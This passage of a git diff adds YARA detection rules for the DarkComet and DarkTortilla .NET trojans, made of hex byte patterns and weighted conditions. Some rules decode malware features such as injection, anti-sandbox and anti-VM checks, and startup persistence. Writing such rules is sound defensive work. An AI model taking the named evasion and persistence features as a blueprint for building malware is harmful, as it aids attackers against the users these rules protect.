"Trojan:BAT/DarkComet.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {11 0a 11 09 07 94 d6 11 06 07 94 d6 20 00 01 00 00 5d 13 0a 11 09 07 94 13 0c 11 09 07 11 09 11 0a 94 9e 11 09 11 0a 11 0c 9e 7e ?? 00 00 04 7e ?? 00 00 04 12 01 28 ?? 00 00 06 07 17 da 28 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_DarkComet_AKD_MTB_5{ + meta: + description = "Trojan:BAT/DarkComet.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {0d 16 0c 2b 37 09 08 9a 0b 07 72 ?? 09 00 70 72 ?? 09 00 70 28 ?? 00 00 06 6f ?? 00 00 0a 2c 18 07 72 ?? 09 00 70 72 ?? 09 00 70 28 ?? 00 00 06 28 ?? 00 00 0a 0a 2b 0a 08 17 d6 0c 08 } //2 + $a_01_1 = {17 da 32 02 2b 2d 08 09 8e b7 32 02 16 0c 11 06 11 07 93 13 08 09 08 93 13 09 11 08 11 05 da 11 09 da 13 0a 07 11 07 11 0a 28 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKI_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKI_MTB.yar new file mode 100644 index 0000000000..879f894196 --- /dev/null +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkComet_AKI_MTB{ + meta: + description = "Trojan:BAT/DarkComet.AKI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 0a 2b 1b 03 06 7e 03 00 00 04 5d 91 0b 02 06 02 06 91 07 61 28 ?? 00 00 0a 9c 06 17 58 0a 06 02 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKT_MTB.yar b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKT_MTB.yar new file mode 100644 index 0000000000..4648591d16 --- /dev/null +++ b/Trojan/BAT/DarkComet/Trojan_BAT_DarkComet_AKT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkComet_AKT_MTB{ + meta: + description = "Trojan:BAT/DarkComet.AKT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {13 0a 2b 55 06 17 58 20 00 01 00 00 5d 0a 11 07 11 08 06 91 58 20 00 01 00 00 5d 13 07 11 08 06 91 0b 11 08 06 11 08 11 07 91 9c 11 08 11 07 07 9c 11 08 06 91 11 08 11 07 91 58 20 00 01 00 00 5d 13 05 02 50 11 0a 02 50 11 0a 91 11 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABVA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABVA_MTB.yar new file mode 100644 index 0000000000..6d40bfdd5a --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ABVA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ABVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {1b 16 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? ?? 00 0a 19 13 11 2b af 11 09 74 ?? 00 00 01 6f ?? ?? 00 0a 11 08 75 ?? 00 00 01 6f ?? ?? 00 0a 0d de 49 } //5 + $a_03_1 = {0a 11 04 75 ?? 00 00 01 20 80 00 00 00 6f ?? ?? 00 0a 1a 13 0d 2b 86 11 04 74 ?? 00 00 01 19 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? ?? 00 0a 17 13 0d 38 ?? ff ff ff 11 04 75 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 11 04 75 ?? 00 00 01 6f ?? ?? 00 0a 13 06 19 13 0d 38 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABWA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABWA_MTB.yar new file mode 100644 index 0000000000..9e96d93066 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ABWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ABWA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ABWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 74 ?? 00 00 01 14 fe 03 13 07 11 07 2c 05 1a 13 11 2b a5 17 2b f9 11 04 74 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? 00 00 0a 11 04 74 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? 00 00 0a 16 13 11 38 ?? ff ff ff 11 04 75 ?? 00 00 01 6f ?? 00 00 0a 13 08 73 ?? 00 00 0a 13 05 11 05 74 ?? 00 00 01 11 08 74 ?? 00 00 01 17 73 ?? 00 00 0a 13 06 1c 13 11 38 ?? ff ff ff 11 06 14 16 } //5 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AB_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AB_MTB.yar new file mode 100644 index 0000000000..ae43ea12c4 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_AB_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {01 13 0b 00 73 47 01 00 0a 13 16 00 11 16 17 73 48 01 00 0a 13 18 11 18 11 0b 16 11 0b 8e 69 6f } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AHXA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AHXA_MTB.yar new file mode 100644 index 0000000000..3ce4c86706 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AHXA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_AHXA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AHXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {1b 16 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? ?? 00 0a 1b 13 11 2b af 11 09 74 ?? 00 00 01 6f ?? ?? 00 0a 11 08 75 ?? 00 00 01 6f ?? ?? 00 0a 0d de 49 } //4 + $a_03_1 = {0a 11 04 75 ?? 00 00 01 20 80 00 00 00 6f ?? ?? 00 0a 1b 13 0d 2b 85 11 04 75 ?? 00 00 01 19 6f ?? ?? 00 0a 11 04 75 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 18 13 0d 38 ?? ff ff ff 11 04 74 ?? 00 00 01 08 74 ?? 00 00 1b 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 6f ?? ?? 00 0a 13 06 19 13 0d } //2 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AMZA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AMZA_MTB.yar new file mode 100644 index 0000000000..9cb38f1022 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AMZA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_AMZA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AMZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 13 06 11 06 11 04 6f ?? 01 00 0a 00 11 06 11 05 6f ?? 01 00 0a 00 11 06 11 06 6f ?? 01 00 0a 11 06 6f ?? 01 00 0a 6f ?? 01 00 0a 13 07 00 73 ?? 00 00 0a 13 08 00 11 08 11 07 17 73 ?? 01 00 0a 13 09 11 09 02 16 02 8e 69 6f ?? 01 00 0a 00 11 09 6f ?? 01 00 0a 00 11 08 6f ?? 00 00 0a 0a de 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ANWA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ANWA_MTB.yar new file mode 100644 index 0000000000..2b339ea611 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ANWA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_ANWA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ANWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 13 05 11 05 11 04 1f 20 6f ?? 01 00 0a 6f ?? 01 00 0a 00 11 05 11 04 1f 10 6f ?? 01 00 0a 6f ?? 01 00 0a 00 11 05 11 05 6f ?? 01 00 0a 11 05 6f ?? 01 00 0a 6f ?? 01 00 0a 13 06 00 73 ?? 00 00 0a 13 07 00 11 07 11 06 17 73 ?? 01 00 0a 13 09 11 09 02 16 02 8e 69 6f ?? 01 00 0a 00 11 09 6f ?? 01 00 0a 00 de 0e } //5 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_APRA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_APRA_MTB.yar new file mode 100644 index 0000000000..e6871bca86 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_APRA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_APRA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.APRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0a 13 09 11 09 06 6f ?? 02 00 0a 6f ?? 02 00 0a 00 11 09 06 6f ?? 02 00 0a 6f ?? 02 00 0a 00 00 11 09 11 09 6f ?? 02 00 0a 11 09 6f ?? 02 00 0a 6f ?? 02 00 0a 13 0a 02 07 6f ?? 02 00 0a 11 0a 28 ?? 00 00 06 28 ?? 00 00 2b 6f ?? 01 00 0a 00 de 0e } //5 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AQSA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AQSA_MTB.yar new file mode 100644 index 0000000000..cbb1de2232 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AQSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_AQSA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AQSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0d 09 74 ?? 00 00 01 14 fe 03 13 06 11 06 2c 05 16 13 0e 2b bf 1b 2b f9 09 74 ?? 00 00 01 07 74 ?? 00 00 1b 6f ?? ?? 00 0a 09 75 ?? 00 00 01 07 75 ?? 00 00 1b 6f ?? ?? 00 0a 17 13 0e 2b 95 09 75 ?? 00 00 01 6f ?? ?? 00 0a 13 07 11 07 75 ?? 00 00 01 02 16 02 8e 69 6f ?? ?? 00 0a 0a dd } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AUVA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AUVA_MTB.yar new file mode 100644 index 0000000000..f374bfaf36 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AUVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_AUVA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AUVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {0b 14 0c 14 0d 14 13 04 14 13 05 00 28 ?? ?? 00 0a 0d 09 14 fe 03 13 06 11 06 2c 27 09 07 6f ?? ?? 00 0a 00 09 07 6f ?? ?? 00 0a 00 09 6f ?? ?? 00 0a 13 07 11 07 02 16 02 8e 69 6f ?? ?? 00 0a 0a de 41 00 de 39 00 09 14 fe 03 13 08 11 08 2c 07 } //5 + $a_01_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AWM_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AWM_MTB.yar new file mode 100644 index 0000000000..ca2acc4ac5 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AWM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_AWM_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AWM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {07 74 8d 00 00 01 20 80 00 00 00 6f ?? 00 00 0a 07 74 8d 00 00 01 20 80 00 00 00 6f ?? 00 00 0a 1c 13 0c 2b b8 07 75 8d 00 00 01 19 6f ?? 00 00 0a 07 74 8d 00 00 01 03 6f ?? 00 00 0a 17 13 0c 2b 9b 07 74 8d 00 00 01 03 6f ?? 00 00 0a 07 75 8d 00 00 01 6f ?? 00 00 0a 0c } //5 + $a_01_1 = {11 04 75 92 00 00 01 73 95 00 00 0a 13 05 19 13 14 11 14 45 05 00 00 00 10 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 05 74 94 00 00 01 02 8e 69 6f 96 00 00 0a 0a dd 78 01 00 00 } //4 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AXVA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AXVA_MTB.yar new file mode 100644 index 0000000000..507f502fff --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AXVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_DarkTortilla_AXVA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AXVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {1f 09 0b 04 03 07 5d 9a 28 ?? 00 00 0a 02 28 ?? 00 00 06 28 ?? 00 00 0a 0a 2b 00 06 2a } //5 + $a_03_1 = {03 07 03 07 91 07 04 28 ?? 00 00 06 9c 07 17 d6 0b 07 06 31 eb } //2 + $a_03_2 = {02 03 66 5f 02 66 03 5f 60 8c ?? 00 00 01 0a 2b 00 06 2a } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AYSA_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AYSA_MTB.yar new file mode 100644 index 0000000000..5ee709e663 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_AYSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_AYSA_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.AYSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 2c 08 02 8e 69 16 fe 01 2b 01 17 2c 04 14 0a 2b 71 1f 10 8d ?? 00 00 01 25 d0 ?? 00 00 04 28 ?? 00 00 0a 0b 73 ?? 01 00 0a 0d 09 75 ?? 00 00 01 07 74 ?? 00 00 1b 28 ?? 02 00 06 09 75 ?? 00 00 01 6f ?? 01 00 0a 13 04 11 04 75 ?? 00 00 01 02 28 ?? 02 00 06 0a de 2a } //5 + $a_03_1 = {02 03 16 03 8e 69 6f ?? 01 00 0a 0b 07 75 ?? 00 00 1b 28 ?? 02 00 06 0a 06 75 ?? 00 00 1b 2a } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_BTT_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_BTT_MTB.yar new file mode 100644 index 0000000000..418b2a6852 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_BTT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_BTT_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.BTT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1b 13 0c 11 0c 45 07 00 00 00 31 00 00 00 25 00 00 00 00 00 00 00 42 00 00 00 3d 00 00 00 00 00 00 00 31 00 00 00 07 74 8a 00 00 01 20 80 00 00 00 6f ?? 00 00 0a 07 74 8a 00 00 01 20 80 00 00 00 6f ?? 00 00 0a 17 13 0c 2b b8 07 74 8a 00 00 01 19 6f ?? 00 00 0a 07 74 8a 00 00 01 03 6f ?? 00 00 0a 19 13 0c 2b 9b 07 75 8a 00 00 01 03 6f ?? 00 00 0a 07 75 8a 00 00 01 6f 92 00 00 0a 0c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_CHV_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_CHV_MTB.yar new file mode 100644 index 0000000000..569fb74d5a --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_CHV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_CHV_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.CHV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {09 07 6f b2 04 00 0a 00 09 07 6f b3 04 00 0a 00 09 19 6f b4 04 00 0a 00 09 6f b5 04 00 0a 13 07 73 32 04 00 0a 13 04 11 04 11 07 17 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ELM_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ELM_MTB.yar new file mode 100644 index 0000000000..1a45b0f293 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_ELM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_DarkTortilla_ELM_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.ELM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_81_0 = {49 6e 6a 65 63 74 69 6f 6e 48 6f 73 74 49 6e 64 65 78 } //2 InjectionHostIndex + $a_81_1 = {67 65 74 5f 41 6e 74 69 53 61 6e 64 42 6f 78 69 65 } //1 get_AntiSandBoxie + $a_81_2 = {67 65 74 5f 41 6e 74 69 56 4d } //1 get_AntiVM + $a_81_3 = {67 65 74 5f 53 74 61 72 74 75 70 50 65 72 73 69 73 74 65 6e 63 65 } //1 get_StartupPersistence + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_FZD_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_FZD_MTB.yar new file mode 100644 index 0000000000..9f53813ba1 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_FZD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_FZD_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.FZD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {0b 07 14 fe 03 0c 08 2c 7d 07 7e 4b 00 00 04 7e 4d 00 00 04 2c 07 7e 4d 00 00 04 2b 16 7e 4c 00 00 04 fe 06 74 00 00 06 73 ce 00 00 0a 25 80 4d 00 00 04 28 ?? 00 00 2b 28 ?? 00 00 2b 6f d1 00 00 0a 00 07 7e 4b 00 00 04 7e 4e 00 00 04 2c 07 7e 4e 00 00 04 2b 16 } //5 + $a_03_1 = {2b 16 7e 4c 00 00 04 fe 06 75 00 00 06 73 ce 00 00 0a 25 80 4e 00 00 04 28 ?? 00 00 2b 28 ?? 00 00 2b 6f ?? 00 00 0a 00 07 19 6f ?? 00 00 0a 00 00 00 07 0a 2b 00 06 2a } //4 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_GGZ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_GGZ_MTB.yar new file mode 100644 index 0000000000..7b9867db2d --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_GGZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_GGZ_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.GGZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {04 1b 5d 2c 03 03 2b 07 03 20 ee 00 00 00 61 b4 0a 2b 00 06 2a } //5 + $a_03_1 = {2b 16 7e 56 00 00 04 fe 06 ab 00 00 06 73 7c 00 00 0a 25 80 57 00 00 04 28 ?? 00 00 2b 28 ?? 00 00 2b 0b 00 7e 58 00 00 04 2c 07 7e 58 00 00 04 2b 16 7e 56 00 00 04 fe 06 ac 00 00 06 73 7f 00 00 0a 25 80 58 00 00 04 0d 72 75 11 00 70 28 ?? 00 00 0a 13 04 11 04 14 fe 01 13 06 11 06 2c 0b } //4 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HQZ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HQZ_MTB.yar new file mode 100644 index 0000000000..6588ecdf57 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HQZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_HQZ_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.HQZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 06 02 28 ?? 00 00 0a 6f ?? 00 00 0a 00 06 1f 18 8c 63 00 00 01 6f ?? 00 00 0a 00 06 73 c0 00 00 0a 6f ?? 00 00 0a 00 16 0b 09 06 16 6f ?? 00 00 0a 14 72 12 4f 0c 70 16 8d 06 00 00 01 14 14 14 28 ?? 00 00 0a 17 8c 63 00 00 01 28 76 00 00 0a 16 8c 63 00 00 01 15 8c 63 00 00 01 12 02 12 03 28 ?? 00 00 0a 13 04 11 04 39 a6 01 00 00 06 18 6f ?? 00 00 0a 74 0c 00 00 1b 06 16 6f ?? 00 00 0a 74 0a 00 00 1b 09 28 79 00 00 0a 91 6f ?? 00 00 0a 00 07 17 5d 16 fe 01 13 05 11 05 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HZZ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HZZ_MTB.yar new file mode 100644 index 0000000000..166bb541e5 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_HZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_HZZ_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.HZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {09 14 fe 03 13 04 11 04 39 82 00 00 00 09 07 6f ?? 00 00 0a 6f ?? 00 00 0a 00 09 07 6f ?? 00 00 0a 6f ?? 00 00 0a 00 09 19 6f ?? 00 00 0a 00 00 02 73 67 00 00 0a 13 05 00 11 05 09 6f ?? 00 00 0a 16 73 00 01 00 0a 13 06 00 11 06 73 01 01 00 0a 13 07 11 07 02 8e 69 6f 02 01 00 0a 0c de 0e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKB_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKB_MTB.yar new file mode 100644 index 0000000000..6f08e5a23d --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_MKB_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MKB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 0d 09 14 fe 03 13 06 11 06 2c 31 09 07 6f ?? 01 00 0a 6f ?? 00 00 0a 00 09 07 6f ?? 01 00 0a 6f ?? 00 00 0a 00 09 6f ?? 00 00 0a 13 07 11 07 02 16 02 8e 69 6f ?? 01 00 0a 0a de 51 00 de 49 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKT_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKT_MTB.yar new file mode 100644 index 0000000000..4d62c11abc --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MKT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_DarkTortilla_MKT_MTB{ + meta: + description = "Trojan:BAT/DarkTortilla.MKT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 50 28 74 00 00 2b 0b 12 01 28 a6 02 00 0a 18 8d 06 00 00 01 25 16 09 8c 60 00 00 01 a2 25 17 03 50 28 ?? 00 00 2b 0b 12 01 28 a6 02 00 0a 17 8d 06 00 00 01 25 16 09 8c 60 00 00 01 a2 14 28 d3 01 00 0a 1f 15 8c 60 00 00 01 28 ?? 02 00 0a a2 14 16 17 28 ?? 02 00 0a 00 09 17 d6 0d 09 08 31 9e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MOZ_MTB.yar b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MOZ_MTB.yar new file mode 100644 index 0000000000..e05dd9bbe3 --- /dev/null +++ b/Trojan/BAT/DarkTortilla/Trojan_BAT_DarkTortilla_MOZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_DarkTortilla_MOZ_MTB{ + meta: + description = 